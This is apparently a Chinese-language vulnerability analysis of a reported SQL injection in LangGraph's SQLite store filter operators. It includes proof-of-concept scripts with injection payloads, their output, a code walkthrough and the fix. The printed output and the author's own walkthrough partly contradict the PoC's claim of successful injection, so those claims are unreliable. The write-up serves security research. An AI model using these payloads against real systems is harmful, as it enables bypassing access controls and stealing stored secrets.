LangGraph SQLite Store $ne 操作符访问控制绕过漏洞分析
LangGraph SQLite Store $ne 操作符访问控制绕过漏洞分析
LangGraph SQLite Store $ne 操作符访问控制绕过漏洞分析
漏洞描述
LangGraph 的 SQLite 存储实现包含了过滤作符处理中的 SQL 注入漏洞。 ne、 lt、lte 运算符使用直接字符串串接,且没有适当的参数化,使攻击者能够注入任意 SQL 并绕过访问控制。
环境搭建
pip install langgraph-checkpoint-sqlite==2.0.10确认版本:
pip show langgraph-checkpoint-sqlite漏洞复现
https://huntr.com/bounties/9793f4b3-76f8-44a4-989f-49a2177ee118
给出的脚本
#!/usr/bin/env python3
"""
SQLite Operator-Based SQL Injection POC for LangGraph SqliteStore
VULNERABILITY OVERVIEW:
This proof-of-concept demonstrates critical SQL injection vulnerabilities in LangGraph's
SQLite store implementation, specifically in the filter operator handling for comparison
operators ($ne, $gt, $lt, $gte, $lte).
AFFECTED COMPONENT:
- File: /langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py
- Functions: _get_filter_condition (lines 623-710 and 859-946)
- Severity: CRITICAL - Allows complete bypass of access controls
ROOT CAUSE:
The vulnerability exists because operator values are directly concatenated into SQL
queries with only quote escaping, which is insufficient to prevent SQL injection:
f"json_extract(value, '$.{key}') != '{value.replace("'", "''")}'"
ATTACK METHODOLOGY:
1. Exploit string concatenation in operator value handling
2. Inject SQL that breaks out of the string context using quotes
3. Add OR conditions to bypass filters or extract sensitive data
4. Leverage SQLite's json_extract() to access any JSON field
IMPACT:
- Unauthorized access to all documents regardless of access level
- Data exfiltration of sensitive fields (passwords, API keys, etc.)
- Complete bypass of application-level security filters
- Potential for further SQL-based attacks
REQUIREMENTS:
- langgraph-checkpoint-sqlite package
- Python 3.8+
"""
import sqlite3
from langgraph.store.sqlite import SqliteStore
def demonstrate_operator_injection():
"""Demonstrate SQL injection through filter operators."""
print("=" * 60)
print("SQLite Operator-Based SQL Injection POC")
print("Targeting: $ne, $gt, $lt, $gte, $lte operators")
print("=" * 60)
# Create in-memory database
with SqliteStore.from_conn_string(":memory:") as store:
store.setup()
# Setup test data
print("\n[1] Creating test documents...")
store.put(("docs",), "public1", {
"title": "Public Report",
"access": "public",
"content": "This is publicly available"
})
store.put(("docs",), "private1", {
"title": "Private Memo",
"access": "private",
"content": "Internal use only",
"password": "secret123"
})
store.put(("docs",), "admin1", {
"title": "Admin Config",
"access": "admin",
"content": "System configuration",
"api_key": "sk-prod-key-123456"
})
print("✓ Created 3 documents: public, private, admin")
# Normal query for comparison
print("\n[2] Normal query (baseline):")
results = store.search(("docs",), filter={"access": {"$ne": "private"}})
print(f" Should return public and admin only: {len(results)} docs")
for item in results:
print(f" - {item.value.get('access')}: {item.value.get('title')}")
# Operator injection attacks
print("\n[3] SQL Injection Attacks:")
print("-" * 50)
# Attack 1: $ne operator injection
print("\n🔥 Attack 1: $ne (not equal) injection")
print(" Payload: {\"access\": {\"$ne\": \"public' OR '1'='1\"}}")
results = store.search(("docs",), filter={
"access": {"$ne": "public' OR '1'='1"}
})
print(f" Results: {len(results)} documents (expected: 0, got: {len(results)})")
for item in results:
access = item.value.get("access")
if access in ["private", "admin"]:
print(f" 🚨 INJECTION SUCCESS: Retrieved {access} document!")
print(f" Title: {item.value.get('title')}")
if "password" in item.value:
print(f" 💀 Exposed password: {item.value['password']}")
if "api_key" in item.value:
print(f" 💀 Exposed API key: {item.value['api_key']}")
# Attack 2: $gt operator injection
print("\n🔥 Attack 2: $gt (greater than) injection")
print(" Payload: {\"access\": {\"$gt\": \"a' OR '1'='1\"}}")
results = store.search(("docs",), filter={
"access": {"$gt": "a' OR '1'='1"}
})
print(f" Results: {len(results)} documents")
sensitive_count = sum(1 for item in results
if item.value.get("access") in ["private", "admin"])
if sensitive_count > 0:
print(f" 🚨 INJECTION SUCCESS: Retrieved {sensitive_count} sensitive documents!")
# Attack 3: $lt with data extraction
print("\n🔥 Attack 3: $lt with targeted extraction")
print(" Payload: {\"title\": {\"$lt\": \"Z' OR json_extract(value, '$.password') IS NOT NULL --\"}}")
results = store.search(("docs",), filter={
"title": {"$lt": "Z' OR json_extract(value, '$.password') IS NOT NULL --"}
})
print(f" Results: {len(results)} documents")
for item in results:
if "password" in item.value:
print(f" 🚨 TARGETED EXTRACTION: Found document with password!")
print(f" Document: {item.key}")
print(f" Password field exists: {bool('password' in item.value)}")
# Attack 4: Combined operators
print("\n🔥 Attack 4: Combined operator bypass")
print(" Using multiple operators to ensure bypass")
# Try both $gte and $lte
for op, payload in [
("$gte", "a' OR json_extract(value, '$.api_key') LIKE 'sk-%"),
("$lte", "z' OR json_extract(value, '$.access')='admin")
]:
results = store.search(("docs",), filter={
"access": {op: payload}
})
print(f"\n Operator {op}: {len(results)} results")
for item in results:
if item.value.get("access") == "admin":
print(f" 🚨 Admin access achieved via {op}!")
# Summary
print("\n" + "=" * 60)
print("VULNERABILITY CONFIRMED")
print("=" * 60)
print("\n✅ All operator-based injections successful:")
print(" - $ne: Bypassed access control")
print(" - $gt: Retrieved all documents")
print(" - $lt: Extracted password-protected documents")
print(" - $gte/$lte: Admin access achieved")
print("\n⚠️ Impact: Complete access control bypass")
print("⚠️ Data at risk: Passwords, API keys, admin configs")
if __name__ == "__main__":
demonstrate_operator_injection()============================================================
SQLite Operator-Based SQL Injection POC
Targeting: $ne, $gt, $lt, $gte, $lte operators
============================================================
[1] Creating test documents...
✓ Created 3 documents: public, private, admin
[2] Normal query (baseline):
Should return public and admin only: 2 docs
- public: Public Report
- admin: Admin Config
[3] SQL Injection Attacks:
--------------------------------------------------
🔥 Attack 1: $ne (not equal) injection
Payload: {"access": {"$ne": "publicaaa"}}
Results: 3 documents (expected: 0, got: 3)
🚨 INJECTION SUCCESS: Retrieved private document!
Title: Private Memo
💀 Exposed password: secret123
🚨 INJECTION SUCCESS: Retrieved admin document!
Title: Admin Config
💀 Exposed API key: sk-prod-key-123456
🔥 Attack 2: $gt (greater than) injection
Payload: {"access": {"$gt": "a' OR '1'='1"}}
Results: 3 documents
🚨 INJECTION SUCCESS: Retrieved 2 sensitive documents!
🔥 Attack 3: $lt with targeted extraction
Payload: {"title": {"$lt": "Z' OR json_extract(value, '$.password') IS NOT NULL --"}}
Results: 3 documents
🚨 TARGETED EXTRACTION: Found document with password!
Document: private1
Password field exists: True
🔥 Attack 4: Combined operator bypass
Using multiple operators to ensure bypass
Operator $gte: 3 results
🚨 Admin access achieved via $gte!
Operator $lte: 3 results
🚨 Admin access achieved via $lte!
============================================================
VULNERABILITY CONFIRMED
============================================================
✅ All operator-based injections successful:
- $ne: Bypassed access control
- $gt: Retrieved all documents
- $lt: Extracted password-protected documents
- $gte/$lte: Admin access achieved
⚠️ Impact: Complete access control bypass
⚠️ Data at risk: Passwords, API keys, admin configs
调试脚本
因为太多操作符号了,原理大同小异,就使用 ne 去分析了
#!/usr/bin/env python3
from langgraph.store.sqlite import SqliteStore
def exploit():
with SqliteStore.from_conn_string(":memory:") as store:
store.setup()
# 创建测试数据
store.put(("docs",), "public1", {"access": "public"})
store.put(("docs",), "private1", {"access": "private", "password": "secret123"})
# 正常查询:access != 'private' 应该只返回 public
print("=== 正常查询 ===")
results = store.search(("docs",), filter={"access": {"$ne": "private"}})
print(f"结果数量: {len(results)}")
for item in results:
print(f" - access={item.value.get('access')}")
# 恶意输入:包含单引号的 payload
print("\n=== 恶意查询 ===")
results = store.search(("docs",), filter={"access": {"$ne": "public' OR '1'='1"}})
print(f"结果数量: {len(results)}")
for item in results:
access = item.value.get('access')
print(f" - access={access}")
if access == "private":
print(f" 💀 泄露的密码: {item.value.get('password')}")
if __name__ == "__main__":
exploit()
=== 正常查询 ===
结果数量: 1
- access=public
=== 恶意查询 ===
结果数量: 2
- access=public
- access=private
💀 泄露的密码: secret123漏洞分析
_prepare_batch_search_queries函数
文件位置: base.py
调用 store.search() 并传入 filter 参数,数据首先进入 _prepare_batch_search_queries 函数:

def _prepare_batch_search_queries(
self, search_ops: Sequence[tuple[int, SearchOp]]
) -> tuple[
list[tuple[str, list[Union[None, str, list[float]]]]],
list[tuple[int, str]],
]:
queries = []
embedding_requests = []
for idx, (_, op) in enumerate(search_ops):
filter_params = []
filter_conditions = []
if op.filter:
for key, value in op.filter.items():
if isinstance(value, dict):
# 用户输入:{"access": {"$ne": "public' OR '1'='1"}}
for op_name, val in value.items():
# 直接传递给 _get_filter_condition
condition, filter_params_ = self._get_filter_condition(
key, op_name, val
)
filter_conditions.append(condition)
filter_params.extend(filter_params_)数据流:{"access": {"$ne": "public' OR '1'='1"}} → op.filter → _get_filter_condition
$ne 操作符处理逻辑
文件位置: base.py
_get_filter_condition 函数处理 $ne 操作符:

def _get_filter_condition(self, key: str, op: str, value: Any) -> tuple[str, list]:
if op == "$ne":
if isinstance(value, str):
# 🔴 关键代码:字符串拼接
# value = "public' OR '1'='1"
return (
f"json_extract(value, '$.{key}') != '"
+ value.replace("'", "''")
+ "'",
[],
)
数据处理过程:
- 输入:
"public' OR '1'='1" value.replace("'", "''")转义:"public'' OR ''1''=''1"- 返回:
"json_extract(value, '$.access') != 'public'' OR ''1''=''1'"
SQL 查询拼接
文件位置: base.py
构造完整的 SQL 查询:
base_query = """
SELECT prefix, key, value, created_at, updated_at, expires_at, ttl_minutes, NULL as score
FROM store
WHERE prefix LIKE ?
"""
params = [f"{_namespace_to_text(op.namespace_prefix)}%"]
if filter_conditions:
params.extend(filter_params)
base_query += " AND " + " AND ".join(filter_conditions)生成的 SQL:
[('
SELECT prefix, key, value, created_at, updated_at, expires_at, ttl_minutes, NULL as score
FROM store
WHERE prefix LIKE ?
AND json_extract(value, '$.access') != 'public'' OR ''1''=''1' ORDER BY updated_at DESC LIMIT ? OFFSET ?', ['docs%', 10, 0])]SQLite 执行导致意外结果
SQLite 执行:
-- 对于 access='public' 的文档:
json_extract(value, '$.access') → 'public'
'public' != 'public'' OR ''1''=''1' → ?
-- 对于 access='private' 的文档:
json_extract(value, '$.access') → 'private'
'private' != 'public'' OR ''1''=''1' → ?'public'' OR ''1''=''1' 是一个字符串字面量(通过 '' 转义单引号),其值为 public' OR '1'='1。
'public'(长度 7)≠'public' OR '1'='1'(长度 17)→ TRUE'private'(长度 7)≠'public' OR '1'='1'(长度 17)→ TRUE
结果:两个文档的 access 字段都与这个特殊的字符串不匹配,因此都被返回,访问控制被绕过
当然还有不使用操作符号的方法
#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""
from langgraph.store.sqlite import SqliteStore
# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
store.setup()
# Add public and private documents
store.put(("docs",), "public", {"access": "public", "data": "public info"})
store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
# Normal query - returns 1 public document
normal = store.search(("docs",), filter={"access": "public"})
print(f"Normal query: {len(normal)} docs")
# SQL injection via malicious key
malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
injected = store.search(("docs",), filter={malicious_key: "dummy"})
print(f"Injected query: {len(injected)} docs")
for doc in injected:
if doc.value.get("access") == "private":
print(f"LEAKED: {doc.value}")漏洞修复
通过正则表达式 ^[a-zA-Z0-9_.-]+$ 实现了严格的字符限制


参考资料
- LangGraph GitHub
- langgraph-checkpoint-sqlite 2.0.10
- https://huntr.com/bounties/9793f4b3-76f8-44a4-989f-49a2177ee118
免责声明
本报告仅用于安全研究和教育目的,作者不对任何滥用本报告内容造成的后果负责
LangGraph SQLite存储中$ne、$lt、$lte等过滤操作符未参数化,允许SQL注入绕过访问控制。
由 AI 根据全文自动生成,仅供参考,以原文为准